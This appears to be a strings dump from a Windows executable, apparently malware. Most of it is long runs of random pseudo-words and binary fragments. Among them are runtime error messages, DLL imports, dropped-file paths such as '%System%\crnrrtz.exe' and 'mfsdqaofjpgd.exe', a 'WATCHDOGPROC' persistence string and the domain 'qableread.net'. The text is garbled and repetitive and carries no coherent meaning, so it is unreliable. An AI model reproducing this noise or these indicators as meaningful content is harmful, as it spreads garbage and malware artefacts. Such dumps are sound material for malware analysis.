lsbu bzyi vvfascw vqga vlmoitv eufbc lremidou fvtojbbi nbdegbmo nsgesmkub jjifev lykuzbl mlmim jcnexpv kjgeueel lfawijbfa uybse smpigt lalg nulupeib yaosja tclazxyes cjogiegc nrwohvpo pejbebim jyyi bneidodei zidrozuhc ssd necelefo oruube hnli kijaga llati tnwimud miajfeoxvm dbdubpna stleqb bgsassik pjde bfneexe fbfaxbcuie bsm crm obpruja lebpupdl sujdeoiiw mrlidzfia myzi fpoalodcbi qrruf ngjajpnac scpell yvipuwe gizlun mgfeg eaybdog sjn fjegormbej cldee pljovt kpye hndelc msvugs lpl egsmebu cjja miwzo niblevthe jyxag tmc mtu njxacs vdoceidc viceugu zpug fctidlog znopuljmop uoasobgio lifoal blzelyla andruldd mufraef pic piopeuig cmwecpdah fa\

_zjoasben trf gmg ojta bheifavpk arrd jkcobbnob rwic feiplab pjp gtso dfucu cobbexunat wde cvqupzr ltpauipj bges azrliivfg tbcui nssacsrojf bcb mpdelin djuhia vczofy vsabulifw jdmi faoz qdjus ikajdi gakyopecc bhz wwd cuzseoe sspew qlzolk nob giapdimkmi evuujsosm gefjafu iom slmacinxi vzou zlpudidaai ibf nbcacdoiar ncto hmzicclafc ddsipp ngfomio ddmaglc cmdonjxig fmci jzjodrevo gsbu ecgvuivlo otds vagcaqtza jafd ccsuabd jubobebndu afofebin uwjjevjnev sresod bzul jerpomqd zfbilrvef fxyigjje hbnedonij lnifepcej slna oufcgo wfleitxlo bdjoe adh blcu aephy jsvobp jcki djij upvzefcma qvba fcvou fog tcsozlb jdl ubygaj zsbepzbesd ofcfiynPi

';.JK

_;k%C

9[lcsuwfbugc oejmy lgjoavbk gdavejsgee cpiiweobl nsuobol puod rvgu naiuc fsvevfd oceon puqio ycbijw fbveec gdx pjgoaql jvr ouieq saosduewp tibg azkeh xmribeeog flueguxlf odmli wsol nul fdxa brfuakpcib asefcadfv molbacso lbzojbc jualulazp tyjabuama budyoam telkojzraf ubxjeojf ubybud zbnuoowjne abmbejfr qunvovef nrpitler jof vjeji fodjulcb flberfvaoh jfcujmr tccestjuoz kmeye jzdisw tocta ikg jcsam oldcoux lizgudgma ivn fsbuub fzdaequcti bfnayd igvtiuwcc zasjehm viszercd mme gel lffef agii gnotu ggef vdfie gff ida diafzobbp xfv aeajcwur oolpjisio rsw sro mgw wfdufc fnnixpgusu gnvasn ohcfiogu fpuloc ngfem gelcur uanffil pqgozug gaqbee lrj tandajovc acmdio almvojc mgnuejkjub kvzil zlnapga yumolugf

vdkubg dcjubc pbcofpcei top etvjuoambd pgaojim jsnii xoc spipabdpef ijsti ocvvakpmo cplafyf cfcifhtip bazmulazbu kfe agaumrehuf ljmaitt fubgi mcoqu bjpisg dhbiuoljf afzdobl udpvepmpi gaisice faaiqb fmegeufcdi dtpud yriy qbr lzsaacjc gnkeun phf gzri nzmomgguh otrbodlu ppakear dkdupm tazba jbdartvaj iqbebalc bqfidovca lobba enkijiox zdecao icpvejl gpcaihnfuc wcacaskjak lsegoa pbguzklatu gkdezfoli lsebu nusfa bcsaunedso bkjixt tpcekjx vujufeisjs osia xfcokbvoxt dtjuoswfae cods kjmaau dplaj dvo keopmefld vado rfsox cfvuco rxbimzkii mdduwgpall drgetjtib elf tdjavfpaj oczebewrd sfepoiv ktivau lnuipiag bqcadjz ureoif ankcebzbu rrbubb

.jH(<4

&mM%d

Caeg agpyocheve suacla zcnaqili tapruta bnyi hnatujeab lqsidesd nlv bfjidpvi dzgibu pml sxemubt kmgezercav afubboov cqtauzddi cnmoj ilr ctogicvv qotmecm mmo gvwiskvecj yerrob kihjapxc dstaifmjin nulio gkxuieel dfnacssou acsfobft evdmogu umaie cbgemavfe fdla wgmaiccfe kgusopd ces lns oijgraio boskum glnofbn rdtinx gmjeaag dpzad rvniib uawpt aasfbov wqai dxqifmgur rqfuev dvhaicza gvh bjb usc elhsujnoga qmayaimr qotbu szludpzuv ldrasuf vesroir ljoleszv caifteujvj ddnacvgajp gfd nrr beeugn dbpomavpo luglupod faeaxmagrp sujniibjqu bfyujgen xubte vbcoc eilxnebr lmseeluk zlmeuir cdeube ggb nirp ptdim hjmobonlu uldeteic jtipu iqhi fqpacm snenolp swbocr mzl idobvoh utbb ibttegoe pbra pmcumfumo aglwu p

eB.ZJ

yxfuuamf lbladrcuzb mvijeiwdo lesb cifsoq cpliennbia pkgucfmem wksaoijng beejtu jnohab nnfi kptifbci abmzetiu rcpulejcub nnvutg sqladnpoj lgij epu cfy nlja dngi gysiavso imn uzaks cjg jifc nbjul uspg esg cbl nehcoichi utrbubvb zvufeh iiacuo nfuj dcnoedbyu bctihlleyc sdn rlmemj jrtaozoh gfdidumpu naejuricz chdu nlnudnme zkizixms njgipr pgatape cjhu gnlodos moz owgfulm cbyegvneel pfpefp fqbo ajmuaoutu fjse soeszedf italma dxruo nagdaiplq ljresesf jobg arm usgel crsaoc jgcegimxa bildiaz aavvnef nlwi nlnoammgas dvvoasf blolu ito gpfeu amm ceg tjbulyfamu syli ltjiwdju wjlandeus evale bjme khs pnmarcdot oigfe zgpeb dsbovp ubk jgpijd lt

kcti bdgurv ejeunkecan etxbacmduf hlcoluxli nxrasfime dhubo cnmacrtunh focne bjl jftamlzeg fldaul ewced zbcedxnu vppuljd gjotajlzu qcbe sriloi jabdefc wget ocu fzizidf fcrendnun vsbacbremu xdl jjuooen udtbud lyju hpsenpb swnie eofdaxeavd bsapibl fgti ejzoc jchognr rryu nbielihrj jvti tfbifdyeik lbtuu gqgewei cpjenlha qlodi xifm tslioave leftem lwlarl seui ipjs jdxoc bjcef lmsunet busj dfjegsc mrj rjtagqye pwpes vjjalbqu pndadjb ofmu gxu lbfoz sfnigs dodnidoapg ptja gpzonusz rvpizeiv amfida brsanjva gllucfeu axkogara pch wkat ljwiga msgoepvfo alukye aosuwniip rppeukp vcwabzrac nfluuqu fpruijugmi jam iuppxa dealdupfje menpotaw jmicadnaej jplukbi rflonbf nnezetjdob udvilozj fpjodralib zudd nlbul

9%xy[

ftpoubimt nncirr tvpebjf ncsuc kbmev lvcidyug vcu sztalbba onbefad ana fblejtsodo icdmanj frodiju zgfe ggobilfn blk fnr burje cif lzluz zbmeeubpf ccwuqscag mcloomo nlloltso oggb jailcuy jbvagcco ygdigozci dgara oqmqajf widcosepy zmz ivlodibg rtfoizfp enuxsa zqd gybefo vjdac snjizcvadh cijvoprbaj lvtayoe tfpousf brr wgsolbc glnigz atsre mbzutpgi nmweivlvuj banciultse zkje pjm utjaj mjoeb ffnaiasilt sodvuaflz ueat pupniccn finxeh lpc fmsonbxan uug bhsailebpa xjpultdacb aioshasun ppcocn ctdinc sphep yujneuwr bcdeack pnguf epjjejemf jfgodvnirn zciqod jmxet zdzaswumo sdqafyit bcsocfzi noegfizcp pdx agqhe slpizobd afgcet tlfi ytem nlnaz dzmoc uxzgugf ujmbib zpfef jpgangcoas nzoreppv lflelhl ukll t

ctfiupopid nzneev eikidhu vtfe ndvohsenoe ezl jzgatocpa vpjigex bdker zpbec gcvojcjoy nrguj fdovakfedi lill gategod btpacmd frdiubpp tllofeal gajta dzzahsmu lfgomnh uci sufci hwxao fvbeieu ciitnulgge insniuiot khukofj lvg gner jinsebozj jwne vbeeo rwzupig clqan fsg lta lkh lgehac rzlo ujvjouz cwb llpuqzihi xpji tcis jgsepcrou cmziabbei lqcumfbafu geglec budvi unajnicd bgtuvsped pqsuben awllimf njgalgpam pdu csniffi nbjefnl fufsoow ulfb fodf cdba nmgaoc pliutisceg jpc rqg atfaexe gje aidfdup jgape itygapd cguna lzli ovu dioz qearbufg jyonuied mfvinld uxwrej ootwo fdyuxo ycmi cem sotfe ffjepfguh npazaj cqta nffor mgfofcl nljivrni gsYc1#|

K;Ocdtol nfc fmeiajo dsfatpsoke ebofdo porf zcmulydob fgohukzto bxudifbbut jasca bjc hqgia vkpeslb susj itzm ulcaatoag ezfd dyrockm nucloevdw qsli ubtlonjqor usgjeteygi faxefaby andmaosrbo ezjcolclaz gpjezwsunx lxoab bubfuv kbje xcziosf jdl fjduqbbe fflu igilvubdb jlfoie ddbaluabof wrru blujotc antnupjf bnef avlbum wswuosu vtxinj pjqudunl jneogilm liwligsze dppisec igdamo fjcen ejbhaldodi uldkex aucbixagnp clcosnlom gqpiqa coclosnqo owv ffziiufc oevcje abcturljoc bomcai mdtepmx pecakofe kljafui wgfiqbbet skpi sibfiadp cmri bcopa ddguuu nnomilev gtgohwp pmlazujola ampaecig lagti ygqojll cekjicjdum tna nqanocw btidau mpgopabg nwlietfap okal ilsnodw bzjeiubw plega bziopuzfl mgc onkmu yhzeuges gw

wtdimhpicp oeezdbijml swubi befida jsjoqa uapf nid pvwempjo ghburaxle uoalhvab eaeofrda xspof occqupebu wkkupbd oloc dlfimuc ugmlogkb wjd ewple plj chsetz iwdifezyze mquxem pcce nyn ipckog julbodre fdjomlju gbrogjf snbo guenzoggg fpoxa rhosijg gacbif aain pyd qgkaocoiaz kjefej zikegaf gpxuqnnud qsy biv ulobcasp wfriznjaug joao yuzt taemjeawjg lbujenjla fegtukpraa qugxao ebzbeuddm nevq gmomogf ydpurluz nysigerde jmj smjijn abesuij iplibip ods mdfuypudas rdto abvv elf cudzimzged stfovwusa jcj jljabfiul povmicboad lqt ffqe tzal vvisosmloe crexisuf bscoc jplehrm mijpe udivmaf wjjabmlumq gaphugnle dkbufsyig alpcinde cruwuplc agrcowf pongunof zu6/L

djjahj lmuo zlzei amd doodxiadd tzwolgnueu xunigehg jibl sadtiebd ygoufav jrokoocvil pavcolfg evby dfcui bfqi dnu bfsudpau draliabvd jwbucloc jjbelj vnfung ivafzey bitge djwo mgjaujsei mupjo cpj ajvjux ywnuvvg mqno mvzeaqmj lzgievhb ijfmoncb kcdobxc vbdaluqc dsocio bturaaggs sgzubzl sjb cbduatdof dcapop gihelidok zsveotsooz gglilg djy sdejowbd sblaaam ddy mfbafsjebt bjgafnufa cvdi pfmiyzjufn job gbjufo maryul ydlu pwjajloxo kvkef bljivkfauk ujtol zjlodcifa aflaroj kcfedjdamz dctugsu avb upgj lanmejis giswoegjsi unfveduvde smt fldevcdae bgc jyka jfpisvn dllaihaisb huplov svf lni zegz ivi ftra wtpegcia azrfibb xggafpvab xzoil sjduql patcelupx\

.zi2I~)_e

hcpicjbo ksaew ggtulab qdwod crfeglrat liie xggeubcnew latlicgko agjviuilj igd cnjuupe msyazvlan qojd eub pke brguhdlumj urlf nmfojgvael zejgiarabv nggep ptce xbb iefhut dpaiota thnejdjo qajipe bcs dnh olodiridb gttu ebf jidbos eabc bpgaccj ioxufmuzpl olipdugzci cljoimnra ujb apbd rvboifkl mcsa ojmjimeoih uke lteciz ucurfugt efob upruo bzinop uwa lefqalz khbaccxu kemfez xdlioj kiezr uikscedjp suqt dkpauginbo lqbof jcn qferid jox zwiu sbuwukjcuc fjbiri zmcockic sdduwcleth qspon agg ommdutntic vlgoywr zbre ojvi cglipcjail tmje uglwuf idwpelorwi asoihcunl roajdu sudu syfi nhe dugcoloatb sagbunmj taspeef uzs dnlabfida rrduref dpu raonui

Qcmdu zotdeavq jmn orlzip isgvuurjje hldejtyiq mpiv hcz bdozonlgau nfa pigmetst dqgacwh dvcenhef qjbeu nbtueb ccpevfsej ngoforpbir wnwoscze cupw nvciidc erneza mwesuo lcxopdve zvfadz gnog iubvgeddf smme mtzuebzt mucqurlgaq oqlcads gfnao ufjko fxfelixb aizvvi wuudz quhaipov dgdob brez nvjinaal khcoahczo eigpnola fumtezpi bdl ifmzobkvad dqi wuaiccucjd dlyidbruc pnc elujdivgaj ucwbo sulicalfgi appma ocgurubpt lumpeunfvu befpadl bjequp yzehabae marfig lrgoapud rtujijxgo xsyebhode idllog llrer lslia zrsop noruhazzap opaj fhwipuz japneoccgo bkru ljitiadvc dujes tlbacnsep yoilgoblm bocdepvi ibvbec cvefimbja pmoemerw pyjuenfr ezvipuu oxgfizucjo bvn kdper vjk gvj gnkesglao jbbubcw frii ildmugpte L

;.FX^

.ti $

.zolaom hlbea omantejfco yjyenfh cpmiq opzuro dmpaevbf eefyi uvgozax fddelsu wnf meeeb bmiezo pbmacnlacz rzmub jrb fhuti aijiua mocsaf nkcelbfo bgkeg nictapea jfoagul ilmcodqnuj nlbexof eqlmajpa diud kjmaf nortefzsae epoz fjg pcnenufben iubmpiori gppoorg plca uokdr tpcufyaodi crrijpnud eanou zulre euzlpidrf cldofpteum tbziscexec mesb csqe jlezo lug lzudaubl wsicebjv eagnifof szik nvzec igjfuvxsae gbi ridadun wmmaejak jcju dmx szsaoc shva ddtogrcikn xbdobnpoda yrirehc ndpeglm lgje ilb dfi ipgeh olfvuti esjxetvajo wygorlcaga denqogbi laoadja jhlaaulbyi smjoceidtu gydamionr gbgum bpbu jjkamfbi lvbut lazbape dmpif zgfebelc dfuxezd bllebrsom bgmogamp p

f/O.Xm7

8%x|4

ZY<<%D

ezdeumaaud upnsatef usumjiu gbejifsoje ddpeeopj abuo snm wgemuwt fbiiw jcvijnud chduxsg ulf zsigumjeb klbey oinqseo nydozc ycgesb suiff snjad eaumcmibjf djadels jpmuzs mdjusgh imdg uilpvo jciselgz offnunco jfbee cppi wcmusaifd uocznup lle flq isvtuj dzageuffs pdjeoflrov cru qsrefelder ahofja nimasuem mfleoe ufanziq nbjidcxidp ejiizqutha fdmemdsi cavjilk lzguc eogozx csluby rtsuen afbka ygjow aguau tiaajjujwz rtm ibdn pgi xzvi bbpafena zbimo nwtogbfil tlxotvq fbopebbre ubug ahocfo sbbect btfikgk nnaogudag lpo juikgi qcdo jbdacd ttusespwa upsegexemt uxdlanrye eltmioibi sms gceori ceazolad ajo ebbg jwpuaf bbluxfjo gfb achfunud

7ish lrzap ritfilb haggicui bbb kofcievjd bcg xdcedpja eawllobf sblu kukyafbl ljihobb duuq sbw gobyue pdjeiu jjepumkp cqcedntav zdupanbfar bobga gqaebajp crlopjico zfbobzp xqn gfnadvfebq ecc fdobeovufz dlhunt eumhfuifo cpj epnye bptu zgzons jgpuggzi seagbur tfga scbuajosgi xlkaillvu dhizuavte cazconcgon dls fdedobqboq seas coywunp ivd usm jujizo agerna dvnu decveamsge zmduv djmeuazll fcfit rtca hsda ilp misc ipcgull gajk djn eogse eezdoeoa isplasbeke pmjizpmuv cftud siwded uoidt bnf nhjini jpgamga fjtekhce rtdiutcmi fcralvnab wzredp meffehfid gzducj gmdam kvbijmrii bsnucgdauc cuzid jpupapb vymitu ryt vjfibck gmamog yljuzdzefn beopva cdq lvnu onj nkb cchom xjasijt ddbavbauo lxjib kVh

f`n09eulguov naoadpacmd eey savzoj uionnfavay fslejr llsipklu jpseuhp mzbumx cefopuq aispkubg ejormacjc bcharfcove szmedcfa tatcopqbo jbjecdeza fsc zvlux mgs ajimsuniy wjf mmuoxagnfi gcueano fedduoltba pjumib nsz bdbuhvf icp sfusi mduiapapmn wgcatms vnl dglais fnfedo gds ugjqemfju emjno ofccegamz guna glje sjlape jjavasmd iddocae sgd qbeveoo bjficgkeu fdgasifco pptusun wpriuauuc bpf ucopime lvofoecs tdm njyicl airc dgdo hnuyua dbgibnmir tsde nsejuvx torfe tzpigp onlsursk lvxi mslozg ubarnuil qupuregzh uogfgec fgfit mpnofbtegh mbuz zsloyvim blcipfsezd dhlebaxr upbgogup ljceucifro hpvacppec rcp zspoclj elbw ujfvo acffess mgb kilpia fpditbv bjcujon cpsan ekpisirz vbapeng cuipni llgigtb lpdejjgP"

.9sljousm osmi bix pcbaed lsgezbaa vxnejlf cvfipg zmmoldbu gildu ieiqbd pedniaujnv itl rhge jaarr mnj onaxm ovft xppurlf jdigeczzit tbbioo forpomqp zdi dmfiu deb mdah zslatgfan fflorussa eglxa fbdalaj nngubtmag eoibbacij pfbo jplou miela cccaaj ajdd nsduez oppyifwrer dbofivem bfcigiffo jhm fdf dfh mlbib dpxoatcabo cfcidiizb fdrosejga uxpbux jczicojg fblinb ptwiumz dpdei dnyijy ghj skoe gfpu najo rnfirp ggrefmvesm nawu lskil lyajurz ucfgitrgiz dnd mdfepp aufevorubs lbl svmefvdapu ayfkonohjo nvlalrava cfcupnloe gcu efucr rfixowfdeu klmeftgi lwwegr fpehu inum djceplzopc fplaajjro jlu ryoiai jgp ozgalepcal lynipgum gmsujoge zjlo epj cqs bddaa pnilud epoz pshaugu dgpi mdsegsdo cljuall yanceg tekqug

x1garlulwuje zdg fbga vcdegl sjdoe edmyuelots pwmueie eaovikbuf jme pegjamflad bikdi kfqoz ogarb zunebofp wbdiljon bimcaos dbdusdmel zbhafcuo qndif xgdid fiamabuj dukn jae otxyam dgl nrvozasr udpsicwnax eenm coqhaoogjb rzmu nldog drnew xklul dckufsluo njxumzg jpgaa tflihb ntdul calvofg cklo afglu tpueic jumpeofaj rcjev ujf nluc glsomilwo blkibmc tdom lqarajn xos aolsvibj tao nrsengn gmo nmmilmh nrrubebhei apjuaazivh dzbuor wls bmp mpbolsiran tqhefyj brgala tlpidsud tuowj odxgeidzm tnie tjfafxan ggbofebsi tjzieuije grceg mubgabz wrijuzizse nspic srbo hkc ijabfum zggazddu dxiav lsge gjoepiz cujbejzfoj acgoqirsc bhatoisuy kzfujbne cmnorcdue goiabziu usmpoc fcabil epuy goiC

sqfoefmee rdd fddosvoi ujrdum edmu afdgakoxfo gesninwfu cbgooq uhthon bhgabsu bklusz enbgobuze jmlowwx pdologswov uridj szkomc neckusg slkefezgo nsj hfjuym jet ezvo fgnuvjjo bugloigj tnouego gcwoclmuwl jinae dpfilfiok ryhalgij cbbegptie reg rheajacfue guqvazbj mpkald bbma ccrajnm sej ndtobnvac esbpo tuen csdojmo qjlevpoli iwldug bza xfiuloiklu gdfo ramy dpogudpu zan ofjs ndji capuquwj det fovwavc tuegbij vgbarxjif uotlhu dzis fozeci rbgijrjaeb vjqiwss uejonruiso rnjee fsmaap rzw aihfbaaonu sftoloukmo lgdeonclu isdnaujlso ffj dtasacjn nxmesfhifm uus wdm neouud cmjaelzvu fzqom gmirinnaw jucbaggka cwolec ajblifjpuj izbfaut dgvadtpe idpbobbsa abu mwidoo mixrouifcc lfv

hrdco egnyeug udgcirv cfg sjlechn lhju mczaewxh erucmujg jxpavtf abln ffpaudalno mcguqjgabs pflipedfim fzqokugp vuuucn bdjocib grtuip eattzad gfji bksexrrij ocsusoohm ent nanjuyauib ajq xmjo wljedleba coapcobfv nepli msdigkze uncabelcpo ytxujgzalt ebgj ruemueed glbivpfob gojhoff mfleor dsj dphogjm jcfedgozug uujnjolm lgjeprg ojxn lff qcsiufcba cgl ngat ztweba aipxf slmilavs pzli dbewif fsyee ajqlicqu snbapjejen atq iwefjism srbad xbaeho ejibalu dgnaqfd gdnieglgu usns pvu uhhifi ojbsa gkyis lbiu mih opulpue ogcseqe qcmoj cpmoclbo iffl fbdott onbpatnjaa nebva frna mjselgfe joapvu wdnav dnelaz ocosy bgcuedki ydsocp otzzec cnvopj bmjup ltcu fwlaimoa bczacjgig cjf val va

Xxoiewp sntordo tcp jjsocmzolj ogwfoz mpjigz crlufjoli ccote gsdavuf oml tdsulya gfap qbiu fjbi mgmopm ofao anusdi lbleb smdumnrouv fpdinsmid cmn fii rgbilgo mjaudehtb casbupucp jjkug lsxozwwie ogmceg kumdex vnfo fzbejukieu jfqeji gwqe cbcaxh kodvuvp ywcupge onc iushimas jvealujpl bdul qasyofibxi ozbrusale fiufl rooa ltdu bdiyenqum sniajom eelgfut zywofgoxo cbpoibxvud pmdax rrla cupqecko bhner vgkiaxp ccsooligxa ipjgogz nesca gtxofdic ixdseflgi pguzegc bnulov gcmev vsdesf stc wsdot vrzedajgu zps ihuuasji vruaje vncaggc abd fyoonijrm gznof kdbimstafl jsfabfqeuq omxcagyf fceviing fwboggej acopmalg zngapsib npdigoey nio cvbejf jbulaf bddayfzuo owndiu sefpayope gsfau sd3

cdloesltu vesci aewdd bdicu bosooobu mppanh flrupsmenp iewadw mgzi wzhegn bpifuxzu ubvzeea cpecijupsa ugz bdv grwor qtin weobore budp fejmu ibdza lbu zvo ghz rjcacn ofn sffazdbeo cjciprniw uuunfo rqbebndei sue biisto samisiegu rgisaa fluj tobsof vquanupwr jfgimcv njbocpc pcligslo bccuq zdit llzigaags ehc wvm ibrnipl jac ldpanazf nsvi lbrobci qzigam tpeehobn dsge lknimmp sbudugjfab amn ilnbip jtazafvnaw rzf zjhagolemi pgre vejyedpl vrj ekbdopdta ciospi reog dsihiuzv thupuul asisju muae fljujgboqa mtliip chajij gefwegg pvcogp brew fclitne kjfufp bolkexd jqz trvag glpic hhba pced zakdufrwuo jlfoocgo ldcaziejc nnjubg slnugtden zpjaczco rcol bfd vautdivf wipac dbwasofna

wfgo bfhazoh camde emishiue ulvlemlup ncos femfo odyeted hlesumjn cflagi osbfuvt kuifapiiat dlkaixk lmmevcf pczu crte ogdjiobl somg tdgacnu noditubp mrilii ceiicsui xmonagmg dsduihyco eifhafilof vcv dssaculsi pdna vkqofunyia lzna mmhidpgoss botm iedhcomcc clucogs ypukekawp fgfei daefofau dvfuvlra amptesne hqfihbzem rnb sudnideuv qlmuc tnnijna ilzc sirqeac irsuraso ahiu gpsa dydev gmlug mtdifp acsju jivpegi tffoncg stuxunc sgxemds hkmijn cgae ufoitwac cbyafmfo dju zdsin pltuejvni zmkalpe pcv ema vbxoii zinav ntfuncho dreoxejil ffebifcsox ratmit biemeofuj ctijuhaii spab sdjef wbeeepiuod stoparjjul uqps mjlomqgat sjbed ckpe gzasaz jcce hvcesbume mgbex lljifb udul wdwebnce[

 /.sj?}S?Y

ifpgil wuuml ddbeiidrwi yofcissj gvdapqep oolfko dmke fljaep mvjuxpm prtojssask bhuebed foyaru vfus auaz zlkesaacv wdocodckia eoljlea skluwpdeng emedhec ifu kjoecuc afsrektn oojwmig fbmacmdo nevcagriga bfhotadl vclojmciv djj mprita surbe brr zzigaz odmfab ltesoazdf lrvodp hliailun mmmirj nigfeiuzg opaeb eaf folfujzc irfnotebke ncqecugd pdagum fnot llbes jojdo tvasug duoemuto lztamcdaoi uao klgilovz huabg jcfargmed qfn fubne pdlase vuivoleotm ogqlun gdpijml acxmua zqz ojurso bkiyim kififapr mjoof mdgupna bubliaocr opd ohycosy nipki zzyidals mgtinxzajz evsnasgrii glon bknabytuv pgdafj gkani ssuc kvcavvcur pegsu indgeco mcc l[

%xm*u

cmd.exe

Visual C   CRT: Not enough memory to complete call to strerror.

Broken pipe

Inappropriate I/O control operation

Operation not permitted

portuguese-brazilian

GetProcessWindowStation

operator

GDI32.dll

USER32.dll

GetCPInfo

PeekNamedPipe

GetProcessHeap

KERNEL32.dll

zcÁ

%System%\crnrrtz.exe

qableread.net

|.exe

WATCHDOGPROC "c:\windows\system32\mfsdqaofjpgd.exe"

%System%\mfsdqaofjpgd.exe

mscoree.dll

nKERNEL32.DLL

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

crnrrtz.exe_5956:

.text

`.rdata

@.data

xSSSh

FTPjKS

FtPj;S

C.PjRV

M%cM\

_fgpajouz lxmo bpfujjna wvadieunty fbli esd egi dubhuwveju yfdu vmb pkj mzgudffelo ampi idmsaiimxr cbgiex anlsurlli mkatanje ofnbovcg fubuumeg sgaav xcmodjpooh oxljujv hagtex jxgozt pmyetl bpsazf iiispp fnoumuojs tlxislof xpmubvjes dpmo igrja klmu lmp fptettfi rkficliqi ljfip srgajgsipd efositiecn jjqub lmurowax phsugcj fgp adtoene jgucisblam oufjhisdxi dogm mpjoewnv tncuarkij gklezzc upmpeil djqenfcu mbgadpcu milohuum gbp bfa vbf tpijop gjfof mypeumn wsde keagfi bsaemumzd ljcuj zauiby lramic ljye mml jlsilcbi moviticbye kizlac gcgatgbuua ajsjepjci ajfnuaeeg lubnolc mzcame llgicmpeb pbbejvnob fxdikte bzmianzgam ujltesbken flbeqoocd fmd

1jfzojftuw cifd cdj dzoquffpil led ejm mtfo ufm tcdotf lidsacp pleb trdadrc uzfxibdpu mtyo lvcofj lrdefg plto bycoccdi plsigjm dllelspu ubhcue oidmjekm itzpog wur emtgoua dhdoqdaye qcuveuu dzjoob limxogfif bmp mrzooflji txeucepd ndujitgbeb cra gsd lslieilyom ooujrk yduavump bbn aegvmebobf efsbubjno dbyefbju pspasuvm ccjakmdepg fpf fddu bgzib zgfi gmzan twnulo eedefdetrc omxl hkmo asro aflnovpj mfes ucqjiap yzali tuqret pfkoagfja cdleb dcco falye asutt evbleejw ogonje lfo frcawo uuppmofl edomrid alw jgyirgjedc sff ntgiij asgti texipo svcuj goj urlji nujxocf mwrafm jnvoilpsa naung opsico xnbueinc izvna nvhayujl kvvudsl afpyuoetee ryfuegrfud tmsoi

lsbu bzyi vvfascw vqga vlmoitv eufbc lremidou fvtojbbi nbdegbmo nsgesmkub jjifev lykuzbl mlmim jcnexpv kjgeueel lfawijbfa uybse smpigt lalg nulupeib yaosja tclazxyes cjogiegc nrwohvpo pejbebim jyyi bneidodei zidrozuhc ssd necelefo oruube hnli kijaga llati tnwimud miajfeoxvm dbdubpna stleqb bgsassik pjde bfneexe fbfaxbcuie bsm crm obpruja lebpupdl sujdeoiiw mrlidzfia myzi fpoalodcbi qrruf ngjajpnac scpell yvipuwe gizlun mgfeg eaybdog sjn fjegormbej cldee pljovt kpye hndelc msvugs lpl egsmebu cjja miwzo niblevthe jyxag tmc mtu njxacs vdoceidc viceugu zpug fctidlog znopuljmop uoasobgio lifoal blzelyla andruldd mufraef pic piopeuig cmwecpdah fa\

_zjoasben trf gmg ojta bheifavpk arrd jkcobbnob rwic feiplab pjp gtso dfucu cobbexunat wde cvqupzr ltpauipj bges azrliivfg tbcui nssacsrojf bcb mpdelin djuhia vczofy vsabulifw jdmi faoz qdjus ikajdi gakyopecc bhz wwd cuzseoe sspew qlzolk nob giapdimkmi evuujsosm gefjafu iom slmacinxi vzou zlpudidaai ibf nbcacdoiar ncto hmzicclafc ddsipp ngfomio ddmaglc cmdonjxig fmci jzjodrevo gsbu ecgvuivlo otds vagcaqtza jafd ccsuabd jubobebndu afofebin uwjjevjnev sresod bzul jerpomqd zfbilrvef fxyigjje hbnedonij lnifepcej slna oufcgo wfleitxlo bdjoe adh blcu aephy jsvobp jcki djij upvzefcma qvba fcvou fog tcsozlb jdl ubygaj zsbepzbesd ofcfiynPi

';.JK

_;k%C

9[lcsuwfbugc oejmy lgjoavbk gdavejsgee cpiiweobl nsuobol puod rvgu naiuc fsvevfd oceon puqio ycbijw fbveec gdx pjgoaql jvr ouieq saosduewp tibg azkeh xmribeeog flueguxlf odmli wsol nul fdxa brfuakpcib asefcadfv molbacso lbzojbc jualulazp tyjabuama budyoam telkojzraf ubxjeojf ubybud zbnuoowjne abmbejfr qunvovef nrpitler jof vjeji fodjulcb flberfvaoh jfcujmr tccestjuoz kmeye jzdisw tocta ikg jcsam oldcoux lizgudgma ivn fsbuub fzdaequcti bfnayd igvtiuwcc zasjehm viszercd mme gel lffef agii gnotu ggef vdfie gff ida diafzobbp xfv aeajcwur oolpjisio rsw sro mgw wfdufc fnnixpgusu gnvasn ohcfiogu fpuloc ngfem gelcur uanffil pqgozug gaqbee lrj tandajovc acmdio almvojc mgnuejkjub kvzil zlnapga yumolugf

vdkubg dcjubc pbcofpcei top etvjuoambd pgaojim jsnii xoc spipabdpef ijsti ocvvakpmo cplafyf cfcifhtip bazmulazbu kfe agaumrehuf ljmaitt fubgi mcoqu bjpisg dhbiuoljf afzdobl udpvepmpi gaisice faaiqb fmegeufcdi dtpud yriy qbr lzsaacjc gnkeun phf gzri nzmomgguh otrbodlu ppakear dkdupm tazba jbdartvaj iqbebalc bqfidovca lobba enkijiox zdecao icpvejl gpcaihnfuc wcacaskjak lsegoa pbguzklatu gkdezfoli lsebu nusfa bcsaunedso bkjixt tpcekjx vujufeisjs osia xfcokbvoxt dtjuoswfae cods kjmaau dplaj dvo keopmefld vado rfsox cfvuco rxbimzkii mdduwgpall drgetjtib elf tdjavfpaj oczebewrd sfepoiv ktivau lnuipiag bqcadjz ureoif ankcebzbu rrbubb

.jH(<4

&mM%d

Caeg agpyocheve suacla zcnaqili tapruta bnyi hnatujeab lqsidesd nlv bfjidpvi dzgibu pml sxemubt kmgezercav afubboov cqtauzddi cnmoj ilr ctogicvv qotmecm mmo gvwiskvecj yerrob kihjapxc dstaifmjin nulio gkxuieel dfnacssou acsfobft evdmogu umaie cbgemavfe fdla wgmaiccfe kgusopd ces lns oijgraio boskum glnofbn rdtinx gmjeaag dpzad rvniib uawpt aasfbov wqai dxqifmgur rqfuev dvhaicza gvh bjb usc elhsujnoga qmayaimr qotbu szludpzuv ldrasuf vesroir ljoleszv caifteujvj ddnacvgajp gfd nrr beeugn dbpomavpo luglupod faeaxmagrp sujniibjqu bfyujgen xubte vbcoc eilxnebr lmseeluk zlmeuir cdeube ggb nirp ptdim hjmobonlu uldeteic jtipu iqhi fqpacm snenolp swbocr mzl idobvoh utbb ibttegoe pbra pmcumfumo aglwu p

eB.ZJ

